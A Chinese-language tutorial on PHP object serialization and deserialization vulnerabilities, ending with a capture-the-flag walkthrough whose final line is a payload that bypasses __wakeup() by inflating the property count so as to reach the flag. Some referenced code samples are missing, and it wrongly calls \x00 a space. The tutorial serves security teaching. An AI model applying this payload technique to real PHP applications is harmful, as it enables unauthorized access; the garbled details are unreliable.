PHP反序列化

0x01 PHP

在面向对象的程序设计中,对象是两个非常重要的概念。类是创建对象的基础,包含了对象的结构和功能。对象是类的实例,它拥有类中定义的属性和方法。

以下是一个PHP类:

<?php
class TestClass //定义一个类
{
//一个变量
public $variable = 'This is a string';
//一个方法
public function PrintVariable()
{
echo $this->variable;
}
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->PrintVariable();
?>

PHP 对属性或方法的访问控制,是通过在前面添加关键字实现的。

  • public:公有的类成员可以在任何地方被访问。
  • protected:受保护的类成员只能被其自身以及其父类和子类访问。
  • private:私有的类成员只能被其定义所在的类访问

访问控制修饰符不同,序列化后属性的长度和属性值会有所不同,如下所示:

  • public:属性值会变成属性名。
  • protected:属性值会变成 \x00*\x00属性名
  • private:属性值会变成 \x00类名\x00属性名
    其中:\x00表示空格。
<?php
class People{
public $id;
protected $gender;
private $age;
public function __construct(){
$this->id = 'Hardworking666';
$this->gender = 'male';
$this->age = '18';
}
}
$a = new People();
echo serialize($a);
?>
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}

PHP中把以两个下划线__开头的方法称为魔术方法,重点关注以下5个魔术方法:

  • __ construct:构造函数,当一个对象被创建时调用。
  • __ destruct:析构函数,当一个对象被销毁时调用。
  • __ toString:当一个对象被当作一个字符串时使用。
  • __ sleep:在对象序列化的时候调用。
  • __ wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候(在一个对象被反序列化时调用)。

从序列化到反序列化,这几个函数的执行过程是:
__ construct() ->__ sleep() -> __ wakeup() -> __ toString() -> __ destruct()

0x02 PHP序列化和反序列化

序列化就是把一个对象变成可以传输的字符串。反序列化就是把那串可以传输的字符串再变回对象。

以序列化json来举例。有一个数组book:

如果想传输这个数组,就调用json_encode()把这个数组序列化成一串字符串:

那么,如何把一个对象序列化成一串字符串?举个例子:

这里首先创建了一个类Demo。在实例化时,改变了其属性。PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。那么如果之后还要用到这个实例怎么办?解决方法就是先将它序列化存起来。序列化只序列属性,不序列方法

按顺序解释一下输出结果。
O: object;
4: 类名的长度;
2: 2个属性;
s:4 : 第一个属性名,是一个字符串string且长度为4;
s:3 : 第一个属性对应的值,是一个字符串string且长度为3;
s:3 : 第二个属性名,是一个字符串string且长度为3;
s:3 : 第二个属性对应的值,是一个字符串string且长度为3。

用的时候再将其反序列化。

0x03 实例分析

序列化和反序列化本身没有问题,但是如果反序列化内容用户可控,且不正当地使用了魔术方法,就会导致安全问题。

[极客大挑战 2019]PHP
index.php:

class.php:

<?php
include 'flag.php';
error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();

}
}
}
?>

分析代码。由于unserialize()结束时会自动调用__destruct(),所以只要满足username=admin且password=100,即可得到flag。所以要构造一个username属性是admin且password属性是100的Name对象。

注意 username 和 password 都是 private 属性,这意味着它们只能在 Name 类的内部访问,外部代码无法直接修改这些属性。因此,尝试通过 $person->username 和 $person->password 访问会导致 PHP Fatal error。

序列化代码如下:

私有属性名称的前面需加上\0。在URL编码中,\0表示为 %00

代码中__wakeup()会将username赋值为guest,所以要想办法绕过该函数。

当成员属性数目大于实际数目时可以绕过__wakeup()。

则payload为

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}